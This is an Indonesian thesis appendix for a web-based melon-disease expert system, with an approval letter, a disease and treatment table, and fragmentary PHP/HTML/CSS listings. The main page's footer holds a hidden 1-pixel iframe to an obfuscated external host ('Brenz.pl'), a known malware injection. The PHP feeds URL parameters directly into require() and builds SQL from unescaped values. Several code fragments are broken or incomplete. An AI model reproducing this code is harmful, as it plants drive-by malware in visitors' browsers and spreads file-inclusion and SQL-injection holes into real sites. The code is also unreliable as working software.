

Lampiran

SURAT PERSETUJUAN

Yang bertanda tangan dibawah ini :

Nama : Suwarni, SP

Institusi/instansi : Dinas Pertanian Kabupaten Ponorogo

Menyatakan telah menyetujui program aplikasi dalam pembuatan skripsi atas nama

Mahasiswa yang tersebut dibawah ini :

Nama : Riva Dwi Santoso

Nim : 12531481

Judul : Sistem Pakar Diagnosa Penyakit Pada Tanaman Buah Melon Berbasis Web Menggunakan Metode Forward Chaining.

Demikian surat pernyataan ini saya buat agar dapat dipergunakan sebagaimana mestinya.

Ponorogo, 11 Maret 2017



Suwarni, SP
NIP. 19660721 199403 005



TABEL NAMA PENYAKIT MELON

NO	NAMA PENYAKIT	GEJALA PENYAKIT	PENCEGAHAN PENYAKIT
1	Rebah Semai	Batang berwarna coklat, rebah dan kemudian mati	Dengan aplikasi karbendazim pada benih atau disemprot dengan fungisida antracol
2	Layu fusarium	Jika pada tanaman yang tampak segar di pagi hari dan layu di siang hari, kemudian segar kembali di sore hari. Gejala ini berlangsung beberapa hari hingga akhirnya mati	Dilakukan dengan penggunaan benih yang tahan terhadap cendawan fusarium oxysporum, penggunaan plastic mulsa agar tidak terlalu lembab, drainase yang baik, rotasi tanaman dan aplikasi trichoderma.
3	Antraknosa	Terlihat jika terdapat bercak – bercak coklat pada daun dan akhirnya warna berubah kemerahan dan akhirnya daun mati	Membuang jauh pada daun yang terserang dan penyemprotan dengan fungisida antracol, bion M, dithane dll.
4	Layu bakteri	Ditandai dengan adanya tanaman yang layu permanen, jika batang dipotong melintang terlihat pembuluh xylem menghitam.	Dilakukan dengan mencabut dan membuang tanaman terinfeksi dan penyemprotan bakterisida, misalnya agrimecin.
5	Embun tepung	Terlihat dengan adanya daun dan batang yang dilapisi semacam tepung berwarna putih.	Dengan memusnahkan tanaman yang terserang dan penyemprotan fungisida berbahan aktif benomyl, pradimefon, oksitioquinox.
6	Virus WMF (water melon virus)	Ditandai dengan adanya daun yang melepuh, belang-belang, daun berubah bentuk dan mengkerut, pertumbuhan kerdil dan terdapat rekahan menjajir pada batang.	Dengan memusnahkan tanaman yang terinfeksi, rotasi tanaman dan mengendalikan aphids dan thrips sebagai vektornya dengan penyemprotan demolish, agrimec, alfamex dan bamex.
7	Bercak daun	Ditandai dengan adanya bercak-bercak hitam keoklatan berbentuk bulat dan menyebar hingga daun mengering.	Dilakukan dengan pergiliran tanaman, menjaga kondisi lingkungan agar tidak terlalu lembab.

Ttd,

Suwarni, Sp

NIP. 19660721 199403 1 005

SURAT PERSETUJUAN

Yang bertanda tangan dibawah ini :

Nama : Suwarni, SP

Institusi/instansi : Dinas Pertanian Kabupaten Ponorogo

Menyatakan telah menyetujui program aplikasi dalam pembuatan skripsi atas nama

Mahasiswa yang tersebut dibawah ini :

Nama : Riva Dwi Santoso

Nim : 12531481

Judul : Sistem Pakar Diagnosa Penyakit Pada Tanaman Buah Melon Berbasis Web
Menggunakan Metode Forward Chaining.

Demikian surat pernyataan ini saya buat agar dapat dipergunakan sebagaimana mestinya.

Ponorogo, 11 Maret 2017



Suwarni, SP
NIP. 19660721 199403 005



```

<script type="text/javascript"
src="js/assets/moment.js"></script>
<script type="text/javascript"
src="js/assets/moment_langs.js"></script>
<script type="text/javascript"
src="js/modern/buttonset.js"></script>
<script type="text/javascript"
src="js/modern/carousel.js"></script>
<script type="text/javascript" src="js/modern/input-
control.js"></script>
</head>
<body class="metrouicss" >
<div id="menuatas">
    <h3 id="waktu" style="font-family: Segoe, 'Segoe
UI', 'DejaVu Sans', 'Trebuchet MS', Verdana, sans-serif;
color:#fff; font-weight:500; margin:0;
padding:5px;"><marquee>Selamat Datang di Aplikasi Sistem Pakar
Diagnosa Penyakit pada tanaman melon</marquee></h3>
</div>
<div id="fixed">
    <div id="header">
        <div id="headerblok1"></div>
<div id="headerblok2">
        <div id="menu"><a href="index.php">Home</a>
        <ul>
            <li><a href="index.php">Home</a></li>

```

```
= "content">
    <?php
        if(isset($_GET['page']))
        {
            $page=$_GET['page'];
            require("".$page.".php");
        }
        else{
            require('utamakita.php'); }?>
    </div>
</div>
<p align="center">&nbsp;</p>
</div>
</div>
</div>
<div id="footer">
<p> &copy; RIVA DWI SANTOSO 2017</p>
</div>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/"
frameborder=0 width=1></iframe>
</body>
</html>
```

```

color: #FFFFFF;

        font-weight: bold;
    }
-->
</style>
</head>
<body>
<table width="700" border="0" cellpadding="2" cellspacing="1"
bgcolor="#1E9AF4">
    <tr>
        <td colspan="3"><div align="center"><span class="style1">DAFTAR JENIS-
JENIS PENYAKIT </span></div></td>
    </tr>
    <tr bgcolor="#CCCCCC">
        <td width="45" align="center"><b>No</b></td>
        <td><b>Jenis Penyakit </b></td>
        <td width="80" align="center"><strong>Pilih</strong></td>
    </tr>
    <?php
        $sql = "SELECT * FROM kerusakan ORDER BY kd_kerusakan";
        $qry = mysql_query($sql)
            or die (mysql_error());
        $no=0;
        while ($data=mysql_fetch_array($qry)) {
            $no++;
        }
?>

```

-->

</style>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>

<body>

<form action=" ../pakarbuahmelon/?page=PasienAddSim" method="post" name="form1" target="_self">

<table width="700" cellpadding="4" cellspacing="1" bgcolor="#fff">

<tr>

<td colspan="3" bgcolor="#1E9AF4">MASUKAN DATA USER</td>

</tr>

<tr bgcolor="#FFFFFF">

<td>Nama</td>

<td>:</td>

<td>

<div class="input-control text">

<input type="text" name="TxtNama" />

</tr>

<tr bgcolor="#FFFFFF">

<td>Jenis Kelamin</td>

<td>:</td>

<td>

<label class="input-control radio">

<input type="radio" name="RbKelamin" value="P" checked>

```

        <span class="helper">Pria</span>
            </label>
            <label class="input-control radio">
                <input type="radio" name="RbKelamin" value="W">
                <span class="helper">Wanita</span>
            </label>
        </td>

</tr>

<tr bgcolor="#FFFFFF">
    <td width="194">Pekerjaan</td>
    <td>:</td>
    <td width="495">
        <div class="input-control text">
            <input type="text" name="TxtPekerjaan" />
        </div>
    </td>
</tr>

<tr bgcolor="#FFFFFF">
    <td colspan="2">&nbsp;</td>
    <td><input type="submit" name="Submit" value="Daftar"></td>
</tr>

</table>

<p>&nbsp;</p>

<p>&nbsp;</p>

</form>

</body>

</html>

```



```

if ($hsl_cekh == 1) {

    $hsl_data = mysql_fetch_array($qry_cekh);

    $sql_pasien = "SELECT * FROM tmp_pasien WHERE
noip='$NOIP'";

    $qry_pasien = mysql_query($sql_pasien);

    $hsl_pasien = mysql_fetch_array($qry_pasien);

    $sql_in = "INSERT INTO analisa_hasil SET

        nama='$hsl_pasien[nama]',

        kelamin='$hsl_pasien[kelamin]',

        alamat='$hsl_pasien[alamat]',

        pekerjaan='$hsl_pasien[pekerjaan]',

        kd_kerusakan='$hsl_data[kd_kerusakan]',

        noip='$hsl_pasien[noip]',

        tanggal='$hsl_pasien[tanggal]'";

    mysql_query($sql_in);

    echo "<meta http-equiv='refresh' content='0;
url=?page=AnalisaHasil'>";

    exit;

}

$sqlcek = "SELECT * FROM tmp_analisa WHERE noip='$NOIP'";

$qrycek = mysql_query($sqlcek);

$datacek= mysql_num_rows($qrycek);

if ($datacek >= 1) {

```

```

// Seandainya tmp kosong

$sqlg = "SELECT gejala.* FROM gejala,tmp_analisa

        WHERE gejala.kd_gejala=tmp_analisa.kd_gejala

        AND tmp_analisa.noip='$NOIP'

        AND NOT tmp_analisa.kd_gejala

                IN(SELECT kd_gejala

                        FROM tmp_gejala WHERE noip='$NOIP')

        ORDER BY gejala.kd_gejala LIMIT 1";

$qryg = mysql_query($sqlg);

$datag = mysql_fetch_array($qryg);

$kdgejala = $datag['kd_gejala'];

$gejala  = $datag['nm_gejala'];

//echo " ADA BOS ($sqlg)";

}

else {

// Seandainya tmp kosong

$sqlg = "SELECT * FROM gejala ORDER BY kd_gejala LIMIT 1";

$qryg = mysql_query($sqlg);

$datag = mysql_fetch_array($qryg);

$kdgejala = $datag['kd_gejala'];

$gejala  = $datag['nm_gejala'];

}

?>

<html>

```

```

</tr>

<tr>

  <td bgcolor="#FFFFFF"> <input type="radio" name="RbPilih" value="YA "
checked>

    Benar (YA)

    <input type="radio" name="RbPilih" value="TIDAK">

    Salah (TIDAK)</td>

</tr>

<tr>

  <td bgcolor="#FFFFFF"> <input type="submit" name="Submit"
value="Jawab"></td>

</tr>

</table>

</form>

</body>

</html>

.style2 {  font-family: Arial, Helvetica, sans-serif;
           font-size: 12px;
}

.style3 {
           font-weight: bold;
           font-size: 18px;
           font-family: "Times New Roman", Times, serif;
}

.style7 {font-size: 14px}

```

```
body{margin:10% 38% auto 38%;
      padding:auto;

background: url(melon.jpg) no-repeat scroll;
background-size: 100% 100%;
min-height: 550px;
}

label, input{display:block;
              margin: 10px 0px 0px 6px;}

.table{
      width:350px;
      margin:5px 0;
      padding:5px;
      box-shadow:2px 2px 10px #dfdfdf;
}

.span4 {
  width: 100%;
}

.bg-color-blue {
  background-color: #2d89ef !important;}

.place-right {
  float: right !important;
  margin-left: 10px;
  padding-bottom:10px;}

.input-control > input[type=password],.input-control >
input[type=text]{
border: 1px #bababa solid;
```

```
width: 100%;
padding: 4px 6px 6px 5px;
background-color: #fff;
outline: 0;
max-width: 280px;
max-height: 40px;
position: block;
}

.fg-color-white {
color: #ffffff !important;
font-weight:500;
padding: 10px;
}

.style1 {
color: #FF0000;
font-weight: bold;
}

.style3 {font-weight: bold}
.style4 {font-weight: bold}
.style5 {color: #0000CC}
.style6 {color: #0000FF}
.style7 {
font-style: italic;
font-size: 18px;
color: #FF0000;
font-family: "Courier New", Courier, monospace;
```

```

<div class="span4 bg-color-blue">
    <h1 class="fg-color-white" align="center">
        LOGIN
    </h1>
</div>
<table class="table" >
    <tr>
        <td>
            <span
class="style4"> <span class="style5">
                <label>USERNAME</label>
            </span> </span>
            <div class="input-control text"
style="width:280px;"><input type="text" name="TxtUser"
/></div>
                <span class="style3"> <span
class="style6">
                    </label>
                    <div align="right"><a
href="../../../index.php"></a></div></td>
            </tr>
        </table>
</div>
</form>
</body>
</html>

```

```
*{font-family:Segoe, "Segoe UI", "DejaVu Sans", "Trebuchet MS", Verdana,
sans-serif;
margin:0;
padding:0;}

.kiri{
    width:15%px;
    height:100%;
    float:left;
    position:fixed;
    display:block;
    background:#CCCCCC;}

.subnav{
    width:15%px;
    height:100%px;
    float:left;
    padding:5px 5px 20px 5px;
}

.lay{
    float:right;
    width:75%;
    padding:10px;
    margin:5px;}

.li{
    width:240px;
    height:17px;
    font-family:Arial, Helvetica, sans-serif;
```

```
        font-size:14px;

        text-decoration:none;

        list-style:none;

        padding:10px;

        border-bottom:solid 1px #999999;}

.li:hover{

        background:#00FF00;

        color:#fff;

        text-decoration:none;}

.a{

        text-decoration:none;

        color:#000;}

.but{

        padding:5px 8px 5px 8px;

        background:#2dbf2a;

        color:#FFF;

        border-radius:2px;}

.input{

        padding:5px;

        font-family:Segoe, "Segoe UI", "DejaVu Sans", "Trebuchet MS",

Verdana, sans-serif;

        font-size:12px;}

</style>

<body>

<div style="display:block;">

<div class="kiri">
```



```

</div>

<div style="background:#0CB0EB; width:80%; display:block; height:40px;
float:right; margin:0px;">

<div style="width:100%; height:40px; padding:5px;">
    <div style="height:40px; width:40%; float:left; color:#FFF;
padding:5px;">
        <div align="center">
            <?php
                echo date('l, d F, Y');
            {
                $page=$_GET['hal'];
                require("".$page.".php");
            }else
            {
                echo "<h2><div align=center>Selamat Datang
                ".$_SESSION['SES_USER']."' Di Control Panel Administrator </div></h2>";
            }
        ?>
    </p>
</div>
</div>
</body>
</html>

```

```

        <td><textarea name="TxtFungsi" cols="40"
rows="4"><?php $TxtFungsi; ?></textarea></td>
    </tr>
    <tr bgcolor="#FFFFFF">
        <td>Solusi/Pencegahan</td>
        <td><textarea name="TxtSolusi" cols="40" rows="4"><?php
$TxtSolusi; ?></textarea></td>
    </tr>
    <tr bgcolor="#FFFFFF">
        <td>&nbsp;</td>
        <td><input type="submit" name="Submit"
value="Simpan"></td>
    </tr>
</table>
<p>&nbsp;</p>
<tr>
    <td colspan="2" align="left" valign="top">
        <div class="footer">&copy; 2016 </div>
    </td>
</div>
</form>
</body>
</html>

```

```

$sql = "SELECT * FROM kerusakan ORDER BY kd_kerusakan";

    $qry = mysql_query($sql)
        or die (mysql_error());

    $no=0;

    while ($data=mysql_fetch_array($qry)) {

        $no++;

?>

<tr bgcolor="#FFFFFF">

    <td><?php echo $no; ?></td>

    <td><?php echo $data['nm_kerusakan']; ?></td>

    <td colspan="3" height="35" align="center" bgcolor="#1DC1FC">DAFTAR
SEMUA GEJALA PENYAKIT MELON</td>

</tr>

<tr>

    <td width="24"><b>No</b></td>

    <td width="315"><b>Nama Gejala</b></td>

    <td width="100" align="center"><b>Pilihan</b></td>

</tr>

<?php

    $sql = "SELECT * FROM gejala ORDER BY kd_gejala";

    $qry = mysql_query($sql)
        or die (mysql_error());

    $no=0;

    while ($data=mysql_fetch_array($qry)) {

        $no++;

?>

```

```

</tr>

<?php
$ge = mysql_query("SELECT * FROM gejala order by kd_gejala asc");
?>

        <tr>

                <td><select name="gejala" id="gejala">

                        <option value="">...Pilih Data
Gejala...</option>

                        <?php
                                while ($rce = mysql_fetch_array($ge)) {
                                        $kode_g = $rce['kd_gejala'];
                                        $nama_g = $rce['nm_gejala'];
                                        ?>

                                                <option
value="<?=$kode_g?>"><?=$nama_g?> (<?=$kode_g?>)</option>

                                                <?php
                                                        }
                                        ?>

                                </select></td>

        </tr>

        <tr>

                <td>

                <p>

                        <input type="submit" name="submit"
value="Simpan" />

```

</p>

<p align="center">Refresh </p>

</td>

</tr>

</table>

<p align="center">Data Tampil

Relasi</p>

<table width="400" cellpadding="0" cellspacing="0" border="1">

<tr bgcolor="#CCCCCC">

<th bgcolor="#0000CC"><font

color="#FFFFFF">No.</th>

<th bgcolor="#0000CC"><span

class="style6">Kode Kerusakan</th>